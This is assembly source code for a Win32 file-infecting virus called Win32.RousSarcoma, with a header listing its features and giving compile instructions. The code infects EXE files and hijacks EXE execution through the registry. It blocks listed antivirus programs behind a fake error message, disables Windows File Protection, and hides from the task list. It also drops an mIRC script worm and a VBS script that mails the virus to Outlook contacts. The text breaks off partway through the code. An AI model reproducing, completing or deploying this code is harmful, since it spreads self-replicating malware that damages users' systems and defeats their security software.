; ; ; .--------------------------------. ; | | ; | Win32.RousSarcoma by SnakeByte | ; | SnakeByte@kryptocrew.de | ; | www.kryptocrew.de/snakebyte | ; .__________________________________. ; ; ; This virus was created by the idea of coding a retro virus, which ; is able too fool with some AV's. I was not able to realize all my ideas, ; but I think it is some fun. This virus uses some tricks to make disinfection ; harder. I came to the idea of making a virus which is able to drop itself to ; the original EXE File, when I saw that most AV's do not detect the first ; generation of a lot of viruses. Therefore the one part of this virus stays ; undetected by heuristics. Generally this virus consits of 2 parts. The EXE File ; Part and the one which is executed with an infected file. It "hooks" the execution ; of every EXE File and does not execute it if it is an AV. If it is none, it gets ; infected and started. Before starting the file it also checks if there is an ; mirc.ini in the same path. If there is one, it drops a mirc script worm. In Addition ; to this, the virus install itself in the registry to get started every time with windows. ; It searches the registry for more paths to infect files there. If it can't find more ; paths it drops a vbs script to send the worm around via Outlook. ; ; I am not good at writing so here is an overview of what ; the virus does : ; ; ; Name : Win32.RousSarcoma ; Type : PE-Appender by increasing last section ; Worming : Yes, mIRC Script and VBS Worm ; Operating System : Win32 ; Author : SnakeByte ; Payload : None, too boring to write one ;) [ Got some other interesting stuff ; in mind i want to code as soon as possible ] ; Virus Size : 8192 Bytes ; Infection Mark : A-AV ; Encryption : None ; Autostart : RunOnce & exefiles ; Anti-Bait : Does not infect files < 20000 Bytes ; Anti-Debugging : Yes, against SoftIce and Int 1h tracing ; Anti-AV : Yes, does not allow the execution of several AV's ; disables Win2k File Protection ; Anti-User : Hides itself in files & several different places, ; is not shown at ctrl-alt-del list ; Runs at Level : Ring-3, but still infects every EXE File on executing ; Infects : 10 Files in the current directory, ; 10 Files in every path stored in this registry Key : ; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths ; Every EXE File which gets executed ; ; How to compile ( TASM 5.0 ) : ; ; tasm32 /z /ml /m3 RousSarc,,; ; tlink32 -Tpe -c RousSarc,RousSarc,, import32.lib ; pewrsec RousSarc.EXE ; ; ( Make sure that the .EXE is uppercases !! ) ; ; At the moment there are just 100 Bytes of Code i could add, with the file staying ; at 8192 Bytes. If I would add more, the file would grow to 12 KB. I decided to ; keep it small and leave stuff out like encryption or even poly. Maybe it could ; be optimized on several parts to make it fit with encryption to a 8 KB file, ; but I don't mind at the moment ; ; ; ; Thanks and greetz to : ; ; Lord Arz : Did you also finish your EXEFILES "hooking" something ? ;) ; DukeCS : Heh, when will KC be done ? *fg* ; Matsad : Sorry, for not coming, but i got no cash and need to see my girlfriend :P ; Lethal Mind : Heh, where are you ? ;( ; Ciatrix : Nice that you carry on ! ; ; ; *************************************************************************** ; ------------------------[ Let's get ready to rumble ]---------------------- ; *************************************************************************** .586p .model flat jumps ; calculate Jumps .radix 16 ; Hexadecimal numbers ; define some API's extrn ExitProcess:PROC ; Host for EXE-Part extrn LoadLibraryA:PROC ; nessesairy to get all other API's in the EXE-Part extrn GetProcAddress:PROC ; cause I don't want DLL not found error's extrn MessageBoxA:PROC ; for testing .code ; Some constants VirusSize equ 8192d ; Lenght of EXE-File ImageBase equ 400000h ; Imagebase of our TASM generated EXE-File CPart1 equ 600h Gap1 equ 0A00h ; ########################################################################### ; -------------------[ This is the first part of the virus ]----------------- ; ########################################################################### Virus: ; Here do we search for EXE-files and put the ; entire PE-Virus EXE to the end ! ; we search for the needed api's with GetProcAdress ; and LoadModuleHandle, so we will not get Problems ; with missing DLL's or API's mov ebp, 'VA-A' ; place a mark in ebp, to identify this part lea eax, KERNEL32 ; push name of kernel32.dll push eax call LoadLibraryA ; save Handle mov dword ptr [K32Handle], eax test eax, eax ; if we failed we stop here jz FirstGenHost lea esi, Kernel32Names ; get all API's we need from kernel lea edi, XFindFirstFileA mov ebx, K32Handle push NumberOfKernel32APIS pop ecx call GetAPI3 ; the procedure is needed in both parts lea eax, advname ; push name of advapi32.dll push eax call LoadLibraryA ; save Handle mov dword ptr [ADVHandle], eax test eax, eax ; if we failed we stop here jz FirstGenHost lea esi, AdvapiNames ; get all API's we need from kernel lea edi, XRegOpenKeyExA mov ebx, ADVHandle push NumberOfAdvapiAPIS pop ecx call GetAPI3 ; the procedure is needed in both parts ; Lets hide our Application from the CTRL-ALT-DEL List, ; to prevent us from being detected by a suspicious user ;) ; Check if the API is available cmp dword ptr [XRegisterServiceProcess],0 je NoHide ; Get ID of our process call dword ptr [XGetCurrentProcessId] push 1 ; We want to run as a service push eax ; process id call dword ptr [XRegisterServiceProcess] NoHide: ; *************************************************************************** ; ---------------------------[ Initialisation ]------------------------------ ; *************************************************************************** ; Lets do a check on our commandline params, ; to see, if we got startet with a filename ; in it --> exefile method call dword ptr [XGetCommandLineA] mov dword ptr [CmdLine], eax ; the start of the commandline is in eax, ; we will parse it to the .exe part to see ; if there is anything afterwards CommandReceive1: cmp dword ptr [eax],'EXE.' je CommandOK1 inc eax jmp CommandReceive1 CommandOK1: add eax, 4h ; eax points directly after the .exe cmp byte ptr [eax], 0 ; if the Commandline ends here, we do not need je SetRunOnceKey ; to care about this ;) add eax, 2h ; skip blanc and " mov esi, eax ; save it mov dword ptr [SaveBlanc], esi push esi call AVNameCheck cmp esi, 0 je AVMessage pop esi jmp mIRCcheck AVMessage: ; Arg ! Dirty AV found .. :P pop esi ; lets drop a message push 30h ; Style push esi push offset AVMsg push 0 call MessageBoxA jmp SetRunOnceKey AVMsg db "File is corrupted. Can't start program",0 PathEnd dd 0h mIRCcheck: ; we search for the path pushad push offset PathEnd push offset NameBuffer push 255d push dword ptr [SaveBlanc] call dword ptr [XGetFullPathNameA] mov edi, dword ptr [PathEnd] mov esi, offset mircINI ; append the mirc.ini to the path mov ecx, 9d rep movsb ; and now we need to check if the mIRC.ini does exist ; if it does, we found a mirc script to infect *eg* ; because we infect it bevore mIRC gets loaded, we do not ; need to fear the mIRC worm protection lea esi, NameBuffer call FindFirstFileProc cmp eax, -1 ; we did not found the mirc.ini ;( je NoMirc push offset NameBuffer ; Write our entry to the file push offset MIRCprot push offset MOffset push offset MIRCrfiles call dword ptr [XWritePrivateProfileStringA] mov edi, dword ptr [PathEnd] mov esi, offset MIRCprot ; append the RousSarc.ini to the path mov ecx, 13d rep movsb ; and now we need to check if the mIRC.ini does exist push 0 push 080h ; normal attribs push 2h ; create a new file (always) push 0 push 0 push 0C0000000h ; read + write lea eax, NameBuffer ; file we create push eax Call dword ptr [XCreateFileA] cmp eax, 0FFFFFFFFh je NoMirc push eax ; save filehandle push 0 ; write script to file push offset Write push offset EndScript - offset MIRCscript push offset MIRCscript push Handle call dword ptr [XWriteFile] ; Handle is still on the stack, so we close the file call dword ptr [XCloseHandle] NoMirc: ; close the search handle push dword ptr [FindHandle] call dword ptr [XCloseHandle] popad CommandReceive2: ; so we will be able to locate the file and cmp byte ptr [eax],'.' ; infect it je CommandOK2 cmp byte ptr [eax],0 ; check if we don't get too far je Outbreak inc eax jmp CommandReceive2 CommandOK2: add eax, 4h cmp byte ptr [eax],0 jne ZeroAfterName mov byte ptr [eax+1],0 ZeroAfterName: mov byte ptr [eax],0 ; we place a Zero here, so we can do a findfirst ; on the filename which is in esi push eax push esi call FindFirstFileProc pop esi ; esi points to start of filename pop ebx ; ebx points to the parameters cmp eax, -1 ; file is not there :( je Outbreak ; we infect some others pushad ; save registers lea edi, WFD_szFileName mov ecx, ebx ; lenght of filename in ecx sub ecx, esi inc ecx rep movsb ; write filename & path there lea esi, WFD_szFileName ; point to filename call InfectFile ; infect file popad ; restore registers ; esi points to start of filename ; ebx points to the parameters mov byte ptr [ebx], " " ; place a blank here xor eax, eax ; let's execute the file push offset ProcessInformation push offset StartupInfo push eax ; lpCurrentDirectory push eax ; lpEnvironment push eax ; Create_New_Process_Group & Normal_Priority_Class push eax ; bInheritHandles push eax ; lpThreadAttributes push eax ; lpProcessAttributes push esi ; filename with commandline push eax ; command line call dword ptr [XCreateProcessA] SetRunOnceKey: ; Here we go if we found an AV or got ; or after executing a program ; lets add 2 autostart features ; Now we store the name of this file in the RunOnce key ; ( we add our file that regulary, that it will be always there, ; but nearly noone looks for files in this key *g* ) push offset RegHandle push 001F0000h ; complete access push 0h ; reserved push offset RunOnceKey ; check if our key exists push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE call dword ptr [XRegOpenKeyExA] cmp eax, 0 jne CheckOwnKey xor eax, eax ; search for end of Systemdirectory lea edi, NameBuffer mov ebx, edi repnz scasb sub ebx, edi inc ebx push ebx push offset NameBuffer ; Value push 1h ; String push 0 ; reserved push offset Valuename ; value name push dword ptr [RegHandle] call dword ptr [XRegSetValueExA] push dword ptr [RegHandle] call dword ptr [XRegCloseKey] jmp FirstGenHost SaveBlanc dd 0h EXEFilesKey db 'exefile\shell\open\command',0 EXEFilesValue db 'RousSarc.EXE "%1" %*',0 EFVSize equ $ - offset EXEFilesValue ; *************************************************************************** ; ------------------------------[ Outbreak ! ]------------------------------- ; *************************************************************************** Outbreak: ; We got no commandline ! HKEY_CURRENT_USER equ 80000001h HKEY_LOCAL_MACHINE equ 80000002h ; first of all, let's disable the win2k virus protection push offset RegHandle push 001F0000h ; complete access push 0h ; reserved push offset _2kProt ; check if our key exists push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE call dword ptr [XRegOpenKeyExA] test eax, eax ; if we failed opening the key, we return jz No2kProt ; Value to disable Windows File Protection mov dword ptr [RegBuffer], 0ffffff9dh push 4 push offset RegBuffer ; Value push 4h ; REG_DWORD push 0 ; reserved push offset _2kProtValue ; value name push dword ptr [RegHandle] call dword ptr [XRegSetValueExA] ; Close it again push dword ptr [RegHandle] call dword ptr [XRegCloseKey] No2kProt: ; Now we will copy ourselfes into the windows directory ; to be able to respond to every started file ; we just got the cmd line mov eax, dword ptr [CmdLine] CommandReceive3: cmp dword ptr [eax],'EXE.' je CommandOK3 inc eax jmp CommandReceive3 CommandOK3: add eax, 4h ; eax points directly after the .exe mov byte ptr [eax], 0 ; Place a 0 here to copy the file push 255d push offset NameBuffer call dword ptr [XGetWindowsDirectoryA] xor eax, eax ; search for end of Systemdirectory lea edi, NameBuffer repnz scasb dec edi lea esi, RunOnceName ; Append Filename mov ecx, 13d rep movsb ; Copy our file to the system directory push 1 push offset NameBuffer ; where to store push dword ptr [CmdLine] ; existing call dword ptr [XCopyFileA] ; Lets set the Exefiles Key push offset RegHandle push 001F0000h ; complete access push 0h ; reserved push offset EXEFilesKey ; Open It push 80000000h ; HKEY_CLASSES_ROOT call dword ptr [XRegOpenKeyExA] cmp eax, 0 jne CheckOwnKey ; Let's set our Value push EFVSize push offset EXEFilesValue ; Value push 1h ; String push 0h ; reserved push 0h ; value name push dword ptr [RegHandle] call dword ptr [XRegSetValueExA] push dword ptr [RegHandle] call dword ptr [XRegCloseKey] CheckOwnKey: mov dword ptr [RegBuffer], 0h push offset RegHandle push 001F0000h ; complete access push 0h ; reserved push offset MyKey ; check if our key exists push HKEY_CURRENT_USER ; HKEY_CURRENT_USER call dword ptr [XRegOpenKeyExA] test eax, eax ; if we failed opening the key, we return jz KeySet xor eax, eax ; clear eax push offset Dispostiton push offset RegHandle push eax ; security attribs push 001F0000h ; complete access push eax ; REG_OPTION_NON_VOLATILE push eax ; lpClass push eax ; reserved push offset MyKey ; Subkey push HKEY_CURRENT_USER ; HKEY_CURRENT_USER call dword ptr [XRegCreateKeyExA] KeySet: push offset RegData2 push offset RegBuffer push offset RegData1 push 0 push offset Valuename push dword ptr [RegHandle] call dword ptr [XRegQueryValueExA] ; RegBuffer contains now a value after which ; we decide what to do, but first, we increment the ; value and save it inc dword ptr [RegBuffer] ; Increment Value push 4 push offset RegBuffer ; Value push 4h ; REG_DWORD push 0 ; reserved push offset Valuename ; value name push dword ptr [RegHandle] call dword ptr [XRegSetValueExA] ; Close the key push dword ptr [RegHandle] call dword ptr [XRegCloseKey] mov eax, dword ptr [RegBuffer] ; Now we decide what to do ( we start with 2 because we just incremented it and i will not do anything after ; the second start, cause we need one reboot to disable WFP ) : ; ; Value - what to do ; ; 2 - infect directory 1 of ; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths ; 3 - " " 2 " "" ; 4 - " " 3 " "" ; 5 - " " 4 " "" ; 6 - " " 5 " "" ; ... no more directorys in RegKey ? --> set value to 0 dec eax dec eax jz NoRegistryInfection push eax push offset RegHandle push 001F0000h ; complete access push 0h ; reserved push offset AppPaths ; App Paths are stored here push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE call dword ptr [XRegOpenKeyExA] pop eax push 255d push offset NameBuffer push eax ; Key Number we want to retrieve push dword ptr [RegHandle] call dword ptr [XRegEnumKeyA] cmp eax, 0 jne DropVBSWorm push offset RegHandle2 push 001F0000h ; complete access push 0h ; reserved push offset NameBuffer ; App Paths are stored here push dword ptr [RegHandle] ; HKEY_LOCAL_MACHINE call dword ptr [XRegOpenKeyExA] ; Read Vakze mov dword ptr [RegData2], 255d push offset RegData2 push offset NameBuffer push offset RegData1 push 0 push offset PathValue push dword ptr [RegHandle2] call dword ptr [XRegQueryValueExA] push dword ptr [RegHandle2] call dword ptr [XRegCloseKey] lea edi, NameBuffer ; Remove ; to get directory mov al, ';' mov ecx, 254d repnz scasb dec edi mov byte ptr [edi], 0 push offset CurrentPath ; Get Current dir and save it push 255d call dword ptr [XGetCurrentDirectoryA] push offset NameBuffer ; set new directory call dword ptr [XSetCurrentDirectoryA] call InfectCurDir ; Infect the directory push offset CurrentPath ; restore old directory call dword ptr [XSetCurrentDirectoryA] CloseRegInfection: push dword ptr [RegHandle] call dword ptr [XRegCloseKey] NoRegistryInfection: call InfectCurDir ; Infect the current directory jmp FirstGenHost DropVBSWorm: ; Ok, we found no more directorys in the App Paths ; Registry Key, so we will drop a little VBS Script ; and execute it, so the virus will also spread with ; the help of outlook push 0 push 080h ; normal attribs push 2h ; create a new file (always) push 0 push 0 push 0C0000000h ; read + write lea eax, VBSWorm push eax Call dword ptr [XCreateFileA] cmp eax, 0FFFFFFFFh je CloseRegInfection push eax ; save filehandle push 0 ; write script to file push offset Write push offset EndVBSScript - offset VBSscript push offset VBSscript push Handle call dword ptr [XWriteFile] ; Handle is still on the stack, so we close the file call dword ptr [XCloseHandle] xor eax, eax ; let's execute the wormy script push offset ProcessInformation push offset StartupInfo push eax ; lpCurrentDirectory push eax ; lpEnvironment push eax ; Create_New_Process_Group & Normal_Priority_Class push eax ; bInheritHandles push eax ; lpThreadAttributes push eax ; lpProcessAttributes push offset VBSWorm ; filename with commandline push eax ; command line call dword ptr [XCreateProcessA] jmp CloseRegInfection VBSscript: db 'On Error Resume Next', 13d, 10d db 'Dim R', 13d, 10d db 'Set RS=CreateObject("Outlook.Application")', 13d, 10d db 'For R=1 To 500', 13d, 10d db 'Set Mail=RS.CreateItem(0)', 13d, 10d db 'Mail.to=RS.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)', 13d, 10d db 'Mail.Subject="Funny Thing !"', 13d, 10d db 'Mail.Body="Take a look at this and just start laughing !"', 13d, 10d db 'Mail.Attachments.Add("C:\RousSarc.EXE")', 13d, 10d db 'Mail.Send', 13d, 10d db 'Next', 13d, 10d db 'RS.Quit', 13d, 10d, 13d, 10d EndVBSScript: VBSWorm db 'C:\RousSarc.vbs',0 AppPaths db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths',0 PathValue db 'Path',0 RegData2 dd 4h ; Bytes to read in Buffer RegBuffer dd 0h ; Buffer Valuename db 'RousSarcoma',0 MyKey db 'RousSarcoma',0 RegHandle2 dd 0h ; *************************************************************************** ; --------------------------[ Infection current dir ]------------------------ ; *************************************************************************** ; We got all we need ; let's party ;) InfectCurDir: ; Infect up to 10 files in the current directory ; use FindFirstFile / Next to find files ; 10 files at max. mov dword ptr [InfCounter], 10d lea esi, filemask call FindFirstFileProc inc eax jz EndInfectCurDir1 ; did we get all ? dec eax InfectCurDirFile: ; Filename in esi lea esi, WFD_szFileName call InfectFile ; Try it ! cmp dword ptr [InfCounter], 0h jna EndInfectCurDir2 call FindNextFileProc test eax, eax jnz InfectCurDirFile EndInfectCurDir2: ; close Search - Handle push dword ptr [FindHandle] call dword ptr [XFindClose] EndInfectCurDir1: ret ; *************************************************************************** ; -------------------------[ prepare Infection ]---------------------------- ; *************************************************************************** InfectFile: ; filename is in WFD_szFileName ; esi shows to this value call AVNameCheck cmp esi, 0h je NoInfection lea esi, WFD_szFileName ; ignore files smaller than 20000 Bytes cmp dword ptr [WFD_nFileSizeLow], 20000d jbe NoInfection ; ignore files bigger than 4,3 GB cmp dword ptr [WFD_nFileSizeHigh], 0 jne NoInfection call OpenFile ; Open File jc NoInfection ; stop if there are problems mov esi, eax call CheckMZSign ; Check for DOS-Stub jc Notagoodfile cmp word ptr [eax+3Ch], 0h je Notagoodfile xor esi, esi ; get PE-Header mov esi, [eax+3Ch] ; Check if file is corrupted cmp dword ptr [WFD_nFileSizeLow], esi jb Notagoodfile add esi, eax mov edi, esi call CheckPESign ; Check for PE-Header jc Notagoodfile ; Check Infection Mark ; --> A-AV ( Anti- Anti-Virus ) cmp dword ptr [esi+4Ch], 'VA-A' jz Notagoodfile mov bx, word ptr [esi+16h]; Get Characteristics and bx, 0F000h ; select Dll-Flag cmp bx, 02000h je Notagoodfile ; we won't no DLL Files mov bx, word ptr [esi+16h]; Check for DLL-Files and bx, 00002h cmp bx, 00002h jne Notagoodfile call InfectEXE ; Infect this sucker ! jc NoInfection Notagoodfile: call UnMapFile NoInfection: ret ; *************************************************************************** ; ------------------------------[ File-Handling ]---------------------------- ; *************************************************************************** ; FileName needs to be in esi OpenFile: xor eax,eax ; Open Files push eax push eax push 3h push eax inc eax push eax push 80000000h or 40000000h push esi ; Filename is in ESI call dword ptr [XCreateFileA] inc eax jz Closed dec eax mov dword ptr [FileHandle],eax mov ecx, dword ptr [WFD_nFileSizeLow] CreateMap: push ecx xor eax,eax push eax push ecx push eax push 00000004h push eax push dword ptr [FileHandle] call dword ptr [XCreateFileMappingA] mov dword ptr [MapHandle],eax pop ecx ; Get Map-Site test eax, eax jz CloseFile ; Datei wieder... xor eax,eax push ecx push eax push eax push 2h push dword ptr [MapHandle] call dword ptr [XMapViewOfFile] or eax,eax jz UnMapFile ; EAX contains starting offset of the map mov dword ptr [MapAddress],eax clc ret UnMapFile: call UnMapFile2 CloseFile: push dword ptr [FileHandle] call [XCloseHandle] Closed: stc ret UnMapFile2: push dword ptr [MapAddress] call dword ptr [XUnmapViewOfFile] push dword ptr [MapHandle] call dword ptr [XCloseHandle] ret ; *************************************************************************** ; ---------------------[ Infection of the EXE-File ]------------------------- ; *************************************************************************** InfectEXE: ; MapAddress contains the start address of the file mov ecx, [esi+3Ch] ; esi points to PE-Header ; ecx = Alignment Faktor mov eax, dword ptr [WFD_nFileSizeLow] add eax, VirusSize call Align mov dword ptr [NewSize], eax xchg ecx, eax pushad call UnMapFile2 ; remap file popad call CreateMap jc NoEXE ; esi = PE-Header mov esi, dword ptr [eax+3Ch] add esi, eax mov edi, esi ; edi = esi ; eax = Sections ; get last section movzx eax, word ptr [edi+06h] dec eax imul eax, eax, 28h add esi, eax add esi, 78h ; point to Directory Table mov edx, [edi+74h] ; Get Directory Entrys shl edx, 3h add esi, edx ; get EIP mov eax, [edi+28h] mov dword ptr [OldEIP], eax ; get Imagebase mov eax, [edi+34h] mov dword ptr [OldBase], eax mov edx, [esi+10h] ; get size of RAW-Data mov ebx, edx add edx, [esi+14h] ; edx = points to raw-data push edx mov eax, ebx add eax, [esi+0Ch] ; EAX contains now Start of our file ; but we need to point it to the second part of the virus add eax, ( offset SecondPart - ImageBase ) - Gap1 ; the 0A00h are caused by the uninitialized data mov [edi+28h], eax mov dword ptr [NewEIP], eax mov eax, [esi+10h] ; enlarge Raw-Data push eax add eax, VirusSize ; VirusSize = Size of entire file mov ecx, [edi+3Ch] ; align it call Align mov [esi+10h], eax ; save in file pop eax ; new Virtual-Size add eax, VirusSize mov [esi+08h], eax pop edx mov eax, [esi+10h] add eax, [esi+0Ch] ; get new imagesize mov [edi+50h], eax ; change the section flags or dword ptr [esi+24h], 0A0000020h ; Write infection mark to file ; --> A-AV ( Anti- Anti-Virus ) mov dword ptr [edi+4Ch], 'VA-A' xchg edi, edx ; save the start of the virus in file mov dword ptr [StartofVirusinFile], edi add edi, dword ptr [MapAddress] push edi call OpenMyself ; lets save the right Imagebase and EIP ; inside our buffered file ;) ; Save EIP & Imagebase mov eax, dword ptr [OldEIP] lea edi, FileBuffer add edi, (offset retEIP - ImageBase) - Gap1 stosd mov eax, dword ptr [OldBase] lea edi, FileBuffer add edi, (offset retBas - ImageBase) - Gap1 stosd pop edi lea esi, FileBuffer mov ecx, VirusSize ; First Part rep movsb ; append ; we need two steps, otherwise we would fill the dec byte ptr [InfCounter] clc ret NoEXE: stc ret ; *************************************************************************** ; -------------------------[ Open Us-Prozedur ]------------------------------ ; *************************************************************************** OpenMyself: ; this Procedure returns the start of ; the current file in esi ; first we need the filename pushad call dword ptr [XGetCommandLineA] inc eax mov dword ptr [CmdLine], eax CommandReceive: cmp dword ptr [eax],'EXE.' je CommandOK inc eax jmp CommandReceive CommandOK: add eax, 4h mov byte ptr [eax],0 ; CmdLine contains now a pointer ; to the filename of our file mov esi, dword ptr [CmdLine] xor eax,eax ; Open File push eax push eax push 3h push eax inc eax push eax push 80000000h push esi ; Filename is in ESI call dword ptr [XCreateFileA] mov ebx, eax ; save handle push 0 ; load the file into the free memory push offset Read ; number of bytes read.. push VirusSize ; read how many bytes ? push offset FileBuffer push eax call dword ptr [XReadFile] push ebx call dword ptr [XCloseHandle] popad ret Read dd ? ; *************************************************************************** ; -----------------------[ Check if we got an AV ]--------------------------- ; *************************************************************************** AVNameCheck: ; pointer to name is in esi pushad ; save all registers lea edi, NameBuffer ; we transfer the name to a buffer xor ecx, ecx NameCheckLoop: cmp byte ptr [esi], 0 ; check if we are at the end je NameTransferred lodsb ; get first letter cmp al, 96d jb StoreLetter sub al, 32d ; convert to uppercase StoreLetter: stosb inc ecx jmp NameCheckLoop NameTransferred: ; nothing found .. :( cmp ecx, 0 je EndNameCheck mov dword ptr [NameLen], ecx mov edx, 28d ; Number of AV-Names we check lea esi, AVNames ; Pointer to the names lea ebp, AVLenght CheckLoop: call NameCheck ; Procedure to check this name jc WeGotAvName ; if Carriage Flag is set we got one dec edx ; otherwise we search on, until edx = 0 jz EndNameCheck xor eax, eax mov al, byte ptr [ebp] ; increase esi mov esi, dword ptr [NameESI2] add esi, eax inc ebp jmp CheckLoop EndNameCheck: ; We found nothing :) popad ret WeGotAvName: ; We found a dirty AV :( popad xor esi, esi ; ESI = 0 as flag ret NameCheck: ; ECX contains the size of the search area ; ESI points to av name ; EDI points to filename mov dword ptr [NameESI2], esi mov ecx, dword ptr [NameLen] lea edi, NameBuffer ; here we search for the Name mov al, byte ptr [esi] ; get first byte into al.. mov dword ptr [NameESI], esi ; avname mov dword ptr [NameEDI], edi ; filename SearchOn: mov esi, dword ptr [NameESI] ; avname mov edi, dword ptr [NameEDI] repnz scasb ; start search cmp ecx,0 jz NoAV mov dword ptr [NameESI], esi dec edi mov dword ptr [NameEDI], edi Compare: ; compare the rest of the string xor ecx, ecx mov cl, byte ptr [ebp] ; points to stringlenght Compare2: repz cmpsb jc Compare2 cmp ecx,0 jz Found NoAV: ret Found: ; We got a dirty AV :P stc ; set flag ret NameLen dd 0h ; Size of the filename NameESI dd 0h ; Pointer to av name NameEDI dd 0h ; Pointer to filename NameESI2 dd 0h ; Pointer to av name ; Table with names of AV-File we don't start AVNames: db 'AVPM' ; AVP Names db 'AVP32' db 'AVPCC' db 'AVPTC' db '_AVPM' db '_AVP32' db '_AVPCC' db 'AVPDOS' db 'AVE32' ; Anti-Vir db 'AVGCTRL' db 'AVWIN95' db 'SCAN32' ; DR-Solomon db 'AVCONSOL' db 'VSHWIN32' db 'FP-WIN' ; F-Prot db 'F-STOPW' db 'DVP95' ; F-Secure db 'F-AGNT95' db 'F-PROT95' db 'VET95' ; InnoculateIT db 'VETTRAY' db 'CLAW95' ; Norman Virus Control db 'NVC95' db 'NAVAPW32' ; Norton db 'NAVW32' db 'SWEEP95' ; Sophos db 'IOMON98' ; PC-Cillin db 'PCCWIN98' db 'MONITOR' ; RAV db 'RAW7WIN' AVLenght: db 4d, 5d, 5d, 5d, 5d, 6d, 6d, 6d ; AVP db 5d, 7d, 7d ; ANTI-Vir db 6d, 8d, 8d ; DR-Solomon db 6d, 7d ; F-PROT db 5d, 8d, 8d ; F-Secure db 5d, 7d ; Innoculate-IT db 6d, 5d ; Norman db 8d, 6d ; Norton db 7d ; Sophos db 7d, 8d ; PC-Cillin db 7d, 7d ; RAV ; *************************************************************************** ; --------------------------[ Align-Prozedur ]------------------------------- ; *************************************************************************** ; eax - Size ; ecx - base Align: push edx xor edx, edx push eax div ecx pop eax sub ecx, edx add eax, ecx pop edx ; eax - New Size ret ; *************************************************************************** ; --------------------------[ FindFile Prozeduren ]-------------------------- ; *************************************************************************** ; Search for files FindFirstFileProc: call ClearFindData lea eax, WIN32_FIND_DATA push eax push esi call dword ptr [XFindFirstFileA] mov dword ptr [FindHandle], eax ret FindNextFileProc: call ClearFindData lea eax, WIN32_FIND_DATA push eax mov eax, dword ptr [FindHandle] push eax call dword ptr [XFindNextFileA] ret ClearFindData: lea edi, WFD_szFileName mov ecx, 276d ; clear old data xor eax, eax rep stosb ret ;**************************************************************************** ;-----------------------------[ PE / MZ Check ]------------------------------ ;**************************************************************************** ; Check MZ and PE - Signs CheckPESign: cmp dword ptr [edi], 'FP' ; greater or equal to "PF" jae NoPESign cmp dword ptr [edi], 'DP' ; lower or equal to "PD" jbe NoPESign clc ; all left is "PE" ret NoPESign: stc ret CheckMZSign: cmp word ptr [esi], '[M' jae NoPESign cmp word ptr [esi], 'YM' jbe NoPESign clc ret ret ; *************************************************************************** ; ----------------[ This is the host for the EXE-Virus Part ]---------------- ; *************************************************************************** FirstGenHost: push 0h ; stop this ! call ExitProcess jmp FirstGenHost ; ; \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ; ////////////////////////////////////////////////////////////////////////////\ ; ###########################################################################/\ ; ------------------[ This is the second part of the Virus ]-----------------/\ ; ###########################################################################/\ ; ////////////////////////////////////////////////////////////////////////////\ ; \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ; SecondPart: ; Here do we drop the entire file from the ; infected goat and execute it ; *************************************************************************** ; -------------------------[ Search for Kernel ]----------------------------- ; *************************************************************************** call Delta Delta: pop ebp sub ebp, offset Delta mov esi, [esp] ; get Create Process API xor si, si call GetKernel ; Search for kernel jnc GetApis ; If we got it we carry on.. jmp ExecuteHost ; *************************************************************************** ; --------------------[ Search-Kernel Procedure ]---------------------------- ; *************************************************************************** GetKernel: mov byte ptr [ebp+K32Trys], 5h GK1: cmp byte ptr [ebp+K32Trys], 00h jz NoKernel ; did we pass the limit ? call CheckMZSign ; Check for exe-stub jnc CheckPE GK2: sub esi, 10000h ; search next page dec byte ptr [ebp+K32Trys] jmp GK1 ; test again CheckPE: ; test for PE-Header mov edi, [esi+3Ch] add edi, esi call CheckPESign jnc CheckDLL ; check dll-sign jmp GK2 CheckDLL: add edi, 16h mov bx, word ptr [edi] ; get characteristics and bx, 0F000h ; to check for dll flag cmp bx, 02000h jne GK2 KernelFound: ; We got it ! sub edi, 16h ; edi = PE-Header xchg eax, edi ; eax = PE offset xchg ebx, esi ; ebx = MZ offset clc ; clear carriage flag ret NoKernel: stc ; set carriage flag if we did not found it ret K32Trys db 5h ; search range ; *************************************************************************** ; ---------------------------[ Search for API's ]---------------------------- ; *************************************************************************** ; we search for LoadLibaryA and GetProcAddress ; in the kernel to get the other API's LL db 'LoadLibraryA', 0h GPA db 'GetProcAddress', 0h GetApis: ; offset of Kernel32.dll PE-headers in eax mov [ebp+KernelAddy], eax ; save mov [ebp+MZAddy], ebx lea edx, [ebp+LL] ; Point to LoadLibaryA - API mov ecx, 0Ch ; size of name call SearchAPI1 ; search it mov [ebp+XLoadLibraryA], eax ; save offset xchg eax, ecx ; if we did not get it, we can't go on jecxz ExecuteHost lea edx, [ebp+GPA] ; Name of GetProcAddress - API mov ecx, 0Eh ; size call SearchAPI1 mov [ebp+XGetProcAddress], eax xchg eax, ecx ; check if we got it jecxz ExecuteHost GetAPI2: ; locate all other apis now lea eax, [ebp+KERNEL32] push eax call dword ptr [ebp+XLoadLibraryA] mov [ebp+K32Handle], eax test eax, eax jz ExecuteHost lea esi, [ebp+Kernel32Names2] lea edi, [ebp+YCreateFileA] mov ebx, [ebp+K32Handle] push NumberOf2Kernel32APIS pop ecx call GetAPI3 jmp DropIT ; let's do something serious ;) ; *************************************************************************** ; --------[ Search the kernel export table for the 2 main API's ]------------ ; *************************************************************************** SearchAPI1: and word ptr [ebp+counter], 0h mov eax, [ebp+KernelAddy] ; get PE-Header offset mov esi, [eax+78h] ; get Export Table Address add esi, [ebp+MZAddy] add esi, 1Ch lodsd ; get address table add eax, [ebp+MZAddy] mov dword ptr [ebp+ATableVA], eax lodsd ; get pointer table add eax, [ebp+MZAddy] mov dword ptr [ebp+NTableVA], eax lodsd ; Ordinal Table add eax, [ebp+MZAddy] mov dword ptr [ebp+OTableVA], eax mov esi, [ebp+NTableVA] ; get Name Pointer Table SearchNextApi1: push esi lodsd add eax, [ebp+MZAddy] mov esi, eax mov edi, edx push ecx cld rep cmpsb ; check for api name pop ecx jz FoundApi1 pop esi ; get next API-Name add esi, 4h inc word ptr [ebp+counter] cmp word ptr 